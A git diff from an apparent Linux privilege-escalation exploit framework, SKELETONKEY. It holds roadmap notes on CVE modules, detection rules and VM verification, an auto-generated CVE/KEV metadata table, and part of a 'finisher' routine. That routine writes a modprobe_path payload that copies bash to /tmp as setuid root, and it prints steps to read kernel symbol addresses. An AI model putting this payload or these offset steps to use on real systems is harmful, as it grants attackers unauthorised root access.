|
||||
## Phase 5 — Detection signature export (DONE 2026-05-16)
|
||||
|
||||
- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
|
||||
- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
|
||||
across all modules (deduped — family-shared rules emit once)
|
||||
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
|
||||
- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
|
||||
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
|
||||
strings can be added when authors ship them. Currently no module
|
||||
ships YARA or Falco rules (skipped cleanly).
|
||||
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
|
||||
- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
|
||||
`detect_yara`, `detect_falco` fields — each NULL or pointer to
|
||||
embedded C string. Self-contained binary, no data-dir install needed.
|
||||
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
|
||||
|
||||
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
|
||||
|
||||
- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
|
||||
- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
|
||||
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
|
||||
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
|
||||
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
|
||||
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
|
||||
- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
|
||||
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
|
||||
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
|
||||
sufficient for common usage patterns.
|
||||
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
|
||||
- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
|
||||
(already landed in Phase 2 complete).
|
||||
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
|
||||
no automated mitigation possible. Document and skip.
|
||||
@@ -164,33 +164,194 @@ Backfill of historical and recent LPEs as time allows.
|
||||
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
||||
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
||||
|
||||
**Landed since v0.1.0 (in the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
|
||||
(`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
|
||||
- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
|
||||
overflow → kernel stack OOB; trigger + witness, no cred chain).
|
||||
- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
|
||||
structural argv-injection (no kernel state, no offsets).
|
||||
- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
|
||||
PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
|
||||
|
||||
**Landed (ported from public PoC, pending VM verification — NOT part
|
||||
of the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
|
||||
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
|
||||
stub is retired. The stub's open question ("is the
|
||||
unprivileged-userns-netns scenario in scope?") is resolved —
|
||||
the module ships and reports `PRECOND_FAIL` when the userns gate
|
||||
is closed.
|
||||
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
|
||||
decrypt page-cache write. Ported from the V12 PoC.
|
||||
- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
|
||||
TOCTOU. Ported from the public Vozec PoC; original disclosure by
|
||||
Deutsche Telekom security. Userspace D-Bus LPE with high-
|
||||
confidence `detect()` — reads PackageKit's version directly over
|
||||
D-Bus and compares against the pinned fix release 1.3.5 (commit
|
||||
`76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
|
||||
Adds an optional GLib/GIO build dependency, autodetected via
|
||||
`pkg-config gio-2.0`; stub-compiles if absent.
|
||||
- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
|
||||
on a vulnerable target**, pin remaining CVE fix commits, add
|
||||
version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
|
||||
`--active` so the probes give definitive verdicts; each
|
||||
`detect()` runs in a fork-isolated child so one bad probe
|
||||
cannot tear down the scan.
|
||||
|
||||
**--auto accuracy work (landed 2026-05-22):**
|
||||
|
||||
- [x] `--auto` auto-enables `--active`: per-module sentinel probes
|
||||
run in `/tmp` / fork-isolated namespaces, so version-only
|
||||
checks can no longer be fooled by silent distro backports.
|
||||
- [x] Per-module verdict table at scan time (VULNERABLE / patched /
|
||||
precondition / indeterminate) instead of only printing the
|
||||
`VULNERABLE` rows.
|
||||
- [x] Scan-end summary line counting each verdict class.
|
||||
- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
|
||||
printed in the `--auto` banner alongside kernel + arch.
|
||||
- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
|
||||
module's probe is contained and the scan continues. Surfaced
|
||||
while testing entrybleed's `prefetchnta` sweep under emulated
|
||||
CPUs: exactly the failure mode the isolation now handles.
|
||||
- [x] `--dry-run` flag: previews the picked exploit (or single-module
|
||||
operation) without firing. Works with `--auto`, `--exploit`,
|
||||
`--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
|
||||
`--i-know` (nothing fires) so operators can inspect the host's
|
||||
attack surface without arming. Bare `--auto` still gates on
|
||||
`--i-know` and now points to `--dry-run` in the refusal message.
|
||||
- [x] Version-pinned `detect()` for the 3 ported modules — Debian
|
||||
tracker provided the fix commits: `dirtydecrypt` against mainline
|
||||
`a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
|
||||
against PackageKit 1.3.5. The `kernel_range` model now drives
|
||||
their verdicts; `--active` confirms empirically on top.
|
||||
- [x] **`core/host` host-fingerprint refactor.** A single
|
||||
`struct skeletonkey_host` is populated once at startup and
|
||||
handed to every module via `ctx->host`: kernel version + arch
|
||||
+ distro id/version + capability gates (unprivileged_userns,
|
||||
AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
|
||||
Yama ptrace) + service presence (systemd, system D-Bus). The
|
||||
`--auto` / `--scan` banner now prints the fingerprint up front
|
||||
so operators see at a glance which gates are open. 4 modules
|
||||
migrated to consume the fingerprint (dirtydecrypt, fragnesia,
|
||||
pack2theroot, overlayfs) — replacing per-detect `uname`s,
|
||||
`/etc/os-release` parses, and userns fork-probes with O(1)
|
||||
cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
|
||||
future modules can opt-in by including `core/host.h`.
|
||||
- [ ] Migrate the remaining modules (cgroup_release_agent /
|
||||
overlayfs_setuid / copy_fail_family bridge / others) to
|
||||
consume `ctx->host` — incremental follow-up.
|
||||
|
||||
**Carry-overs:**
|
||||
|
||||
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
||||
- [ ] Fragnesia (if it lands as a CVE)
|
||||
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
||||
ships (responsible-disclosure-first)
|
||||
|
||||
## Phase 8 — Full-chain promotions (post v0.1.0)
|
||||
|
||||
The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
||||
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
||||
None requires fresh research — each has a public reference exploit;
|
||||
the work is porting the per-kernel offset dance into a portable
|
||||
shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
|
||||
shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
|
||||
likely as an env-var override table per distro+kernel, with offset
|
||||
auto-resolve via System.map / kallsyms when accessible).
|
||||
|
||||
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
|
||||
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
|
||||
The other four are lower priority — fuse_legacy and cls_route4 have
|
||||
The remainder are lower priority — fuse_legacy and cls_route4 have
|
||||
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
|
||||
race window makes it inherently low-yield.
|
||||
race window makes it inherently low-yield; the nft_* family and
|
||||
vmwgfx need their per-kernel offset tables built out.
|
||||
|
||||
The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||
**not** part of this Phase 8 promotion set — they need VM verification
|
||||
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||
full-chain work is meaningful.
|
||||
|
||||
## Phase 9 — Empirical verification + operator briefing (DONE 2026-05-23, v0.7.1)
|
||||
|
||||
The largest single jump in trust signal: every claim in the corpus is
|
||||
now backed by either a unit test (88-test harness) or a real-VM
|
||||
verification record (22 of 26 CVEs), and the binary surfaces both.
|
||||
|
||||
- [x] **`tools/verify-vm/`** — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro + mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per
|
||||
module, emits JSONL verification records.
|
||||
- [x] **Mainline kernel fetch** — `targets.yaml` `mainline_version`
|
||||
field downloads vanilla mainline .debs from
|
||||
`kernel.ubuntu.com/mainline/v<X.Y.Z>/amd64/`, dpkg-installs,
|
||||
`update-grub`s, reboots. Unblocks pin-not-in-apt targets.
|
||||
- [x] **22 of 26 CVEs verified** across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
Debian 11 / 12 + mainline 5.15.5 / 6.1.10. Records in
|
||||
`docs/VERIFICATIONS.jsonl`, baked into `core/verifications.{c,h}`,
|
||||
surfaced in `--list` (VFY column), `--module-info`, `--explain`,
|
||||
`--scan --json`.
|
||||
- [x] **`--explain MODULE`** — one-page operator briefing. CVE / CWE /
|
||||
MITRE ATT&CK / CISA KEV header, host fingerprint, live `detect()`
|
||||
trace with verdict + interpretation, OPSEC footprint, detection-
|
||||
rule coverage, verified-on records. Paste-into-ticket ready.
|
||||
- [x] **Per-module `opsec_notes`** — every module struct ships a
|
||||
runtime-footprint paragraph (file artifacts, dmesg, syscall
|
||||
observables, network, persistence, cleanup). The inverse of the
|
||||
detection rules.
|
||||
- [x] **CVE metadata pipeline** — `tools/refresh-cve-metadata.py`
|
||||
fetches CISA KEV + NVD CWE; 10 of 26 modules cover KEV-listed
|
||||
CVEs. Hand-curated ATT&CK mapping (T1068 / T1611 / T1082).
|
||||
Surfaced everywhere (`★` markers, `triage` JSON sub-object).
|
||||
- [x] **119 detection rules across all 4 SIEM formats** — auditd
|
||||
30/31, sigma 31/31, yara 28/31, falco 30/31. Documented
|
||||
intentional skips for the 3 modules without applicable rules
|
||||
in each format (entrybleed: pure timing side-channel;
|
||||
ptrace_traceme + sudo_samedit: pure-memory races, no on-disk
|
||||
artifacts).
|
||||
- [x] **88-test unit harness** — 33 kernel_range / host-fingerprint
|
||||
boundary tests + 55 detect() integration tests. ASan + UBSan
|
||||
+ clang-tidy on every push; weekly cron checks for CISA KEV
|
||||
+ Debian security-tracker drift.
|
||||
- [x] **arm64-static binary** — `skeletonkey-arm64-static` published
|
||||
alongside x86_64-static. Built via `dockcross/linux-arm64-musl`
|
||||
cross toolchain. `install.sh` auto-picks on aarch64 hosts.
|
||||
- [x] **`arch_support` field** per module: `any` (4 — userspace
|
||||
bugs), `x86_64` (1 — entrybleed by physics),
|
||||
`x86_64+unverified-arm64` (26 — kernel modules whose arm64
|
||||
exploit hasn't been empirically confirmed). Honest labels until
|
||||
an arm64 verification sweep promotes them.
|
||||
- [x] **Marketing-grade landing page** — animated hero with
|
||||
`--explain` showcase, bento-grid features, KEV / verification
|
||||
stat chips, open-graph card. karazajac.github.io/SKELETONKEY.
|
||||
|
||||
**Open follow-ups from v0.7.x (not yet started):**
|
||||
|
||||
- [ ] arm64 verification sweep — Vagrant arm64 box (e.g.
|
||||
`generic/debian12-arm64` on M-series Mac via Parallels) → run
|
||||
`verify.sh` against the 26 `x86_64+unverified-arm64` modules,
|
||||
promote each to `any` where it works.
|
||||
- [ ] SIEM query templates — full Splunk SPL / Elastic KQL / Sentinel
|
||||
KQL queries per top-10 KEV-listed modules, embedded in
|
||||
`docs/DETECTION_PLAYBOOK.md`.
|
||||
- [ ] `install.sh` CI smoke test — boot fresh Ubuntu / Debian /
|
||||
Alpine containers, run `curl ... | sh`, assert `--version`.
|
||||
- [ ] PackageKit provisioner for pack2theroot VULNERABLE-path
|
||||
verification on Debian 12.
|
||||
- [ ] Custom ≤ 4.4 kernel image for dirty_cow VM verification.
|
||||
- [ ] 9 deferred TOO_TIGHT kernel-range drift findings — per-commit
|
||||
verification against git.kernel.org/linus.
|
||||
|
||||
**Wait-for-upstream blockers (out of our control):**
|
||||
|
||||
- vmwgfx verification — requires a VMware-Fusion-or-Workstation
|
||||
guest exposing `/dev/dri/card*` from the vmwgfx driver.
|
||||
- dirtydecrypt + fragnesia verification — both target Linux 7.0+,
|
||||
which isn't shipping as any distro kernel yet.
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **No 0-day shipment.** Everything in IAMROOT is post-patch.
|
||||
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
||||
- **No automated mass-targeting.** No host-list mode. No automatic
|
||||
pivoting.
|
||||
- **No persistence beyond `--exploit-backdoor`'s
|
||||
|
||||
@@ -0,0 +1,303 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-cve-metadata.py from
|
||||
* docs/CVE_METADATA.json. Do not hand-edit; rerun the script.
|
||||
* Sources: CISA KEV catalog + NVD CVE API 2.0.
|
||||
*/
|
||||
|
||||
#include "cve_metadata.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
const struct cve_metadata cve_metadata_table[] = {
|
||||
{
|
||||
.cve = "CVE-2016-5195",
|
||||
.cwe = "CWE-362",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-03-03",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2017-7308",
|
||||
.cwe = "CWE-681",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-13272",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2021-12-10",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-14386",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-22555",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-10-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3156",
|
||||
.cwe = "CWE-193",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-33909",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3493",
|
||||
.cwe = "CWE-270",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-10-20",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-4034",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-06-27",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0185",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-08-21",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0492",
|
||||
.cwe = "CWE-287",
|
||||
.attack_technique = "T1611",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0847",
|
||||
.cwe = "CWE-665",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-25",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-25636",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-2588",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0179",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0386",
|
||||
.cwe = "CWE-282",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-06-17",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0458",
|
||||
.cwe = "CWE-476",
|
||||
.attack_technique = "T1082",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-2008",
|
||||
.cwe = "CWE-129",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-22809",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-32233",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-3269",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-4622",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-1086",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-05-30",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-31635",
|
||||
.cwe = "CWE-130",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-41651",
|
||||
.cwe = "CWE-367",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46300",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
/* v0.8.0 / v0.9.0 module additions — populated via direct CISA KEV
|
||||
* + NVD curl on 2026-05-24 when refresh-cve-metadata.py's urlopen
|
||||
* hung on CISA's HTTP/2 endpoint. Same data, different transport. */
|
||||
{
|
||||
.cve = "CVE-2018-14634",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-01-26",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-14287",
|
||||
.cwe = "CWE-755",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-29661",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-26581",
|
||||
.cwe = NULL, /* NVD: no CWE assigned */
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-50264",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32463",
|
||||
.cwe = "CWE-829",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-09-29",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-6019",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-43494",
|
||||
.cwe = NULL, /* NVD: no CWE assigned */
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t cve_metadata_table_len =
|
||||
sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);
|
||||
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve)
|
||||
{
|
||||
if (!cve) return NULL;
|
||||
for (size_t i = 0; i < cve_metadata_table_len; i++) {
|
||||
if (strcmp(cve_metadata_table[i].cve, cve) == 0)
|
||||
return &cve_metadata_table[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata lookup
|
||||
*
|
||||
* Per-CVE annotations sourced from authoritative federal databases:
|
||||
* - CISA Known Exploited Vulnerabilities catalog (in_kev, date_added)
|
||||
* - NVD CVE API (cwe)
|
||||
* - Hand-curated MITRE ATT&CK technique mapping
|
||||
*
|
||||
* Kept separate from struct skeletonkey_module because these are
|
||||
* properties of the CVE (one CVE -> one set of values), not the
|
||||
* exploit module. Two modules covering the same CVE see the same
|
||||
* metadata. The OPSEC notes — which vary by exploit technique —
|
||||
* stay on the module struct.
|
||||
*
|
||||
* The table is auto-generated from docs/CVE_METADATA.json by
|
||||
* tools/refresh-cve-metadata.py. Do not hand-edit cve_metadata.c —
|
||||
* re-run the refresh tool.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_CVE_METADATA_H
|
||||
#define SKELETONKEY_CVE_METADATA_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct cve_metadata {
|
||||
const char *cve; /* "CVE-YYYY-NNNNN" */
|
||||
const char *cwe; /* "CWE-NNN" or NULL if NVD has no mapping */
|
||||
const char *attack_technique; /* "T1068" etc. */
|
||||
const char *attack_subtechnique; /* "T1068.001" or NULL */
|
||||
bool in_kev; /* true iff in CISA's KEV catalog */
|
||||
const char *kev_date_added; /* "YYYY-MM-DD" or "" */
|
||||
};
|
||||
|
||||
/* The full table. Length is `cve_metadata_table_len`. */
|
||||
extern const struct cve_metadata cve_metadata_table[];
|
||||
extern const size_t cve_metadata_table_len;
|
||||
|
||||
/* Lookup by CVE id (e.g. "CVE-2024-1086"). Returns NULL if the CVE
|
||||
* isn't in the table. Cheap linear scan; we have <100 entries. */
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve);
|
||||
|
||||
#endif /* SKELETONKEY_CVE_METADATA_H */
|
||||
+179
@@ -0,0 +1,179 @@
|
||||
/*
|
||||
* SKELETONKEY — shared finisher helpers
|
||||
*
|
||||
* See finisher.h for the pattern split (A: modprobe_path overwrite,
|
||||
* B: current->cred->uid).
|
||||
*/
|
||||
|
||||
#include "finisher.h"
|
||||
#include "module.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
static int write_file(const char *path, const char *content, mode_t mode)
|
||||
{
|
||||
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
|
||||
if (fd < 0) return -1;
|
||||
size_t n = strlen(content);
|
||||
ssize_t w = write(fd, content, n);
|
||||
close(fd);
|
||||
if (w < 0 || (size_t)w != n) return -1;
|
||||
if (chmod(path, mode) < 0) return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void skeletonkey_finisher_print_offset_help(const char *module_name)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
|
||||
"\n"
|
||||
" To populate them on this host, choose ONE of:\n"
|
||||
"\n"
|
||||
" 1) Environment override (one-shot, no host changes):\n"
|
||||
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
|
||||
"\n"
|
||||
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
|
||||
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
|
||||
"\n"
|
||||
" 3) Lower kptr_restrict (per-boot):\n"
|
||||
" sudo sysctl kernel.kptr_restrict=0 # if you have sudo\n"
|
||||
" (Note: needs root once — defeats the LPE point on this host.\n"
|
||||
" Useful when populating offsets on a lab kernel ahead of time.)\n"
|
||||
"\n"
|
||||
" To look up the address manually (as root):\n"
|
||||
" grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms\n"
|
||||
"\n",
|
||||
module_name, module_name);
|
||||
}
|
||||
|
||||
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
if (!skeletonkey_offsets_have_modprobe_path(off)) {
|
||||
skeletonkey_finisher_print_offset_help("module");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!arb_write) {
|
||||
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Per-pid working paths so concurrent runs don't collide. */
|
||||
pid_t pid = getpid();
|
||||
char mp_path[64], trig_path[64], pwn_path[64];
|
||||
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
|
||||
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
|
||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
|
||||
|
||||
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
|
||||
* know it ran. Bash 4+ refuses to use its own setuid bit by
|
||||
* default — so instead copy bash to /tmp and chmod +s the copy. */
|
||||
char payload[1024];
|
||||
snprintf(payload, sizeof payload,
|
||||
"#!/bin/sh\n"
|
||||
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
|
||||
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
|
||||
pwn_path, pwn_path, pwn_path);
|
||||
|
||||
if (write_file(mp_path, payload, 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Unknown-format trigger: anything that fails the standard exec
|
||||
* format probe drives kernel's call_modprobe(). Empty + executable
|
||||
* works on every kernel we care about. */
|
||||
if (write_file(trig_path, "\x00", 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
|
||||
unlink(mp_path);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Build the kernel-side write payload: a NUL-terminated path to
|
||||
* our mp_path script. modprobe_path[] is 256 bytes in the kernel
|
||||
* — we write enough to overwrite the leading slot. */
|
||||
char kbuf[256];
|
||||
memset(kbuf, 0, sizeof kbuf);
|
||||
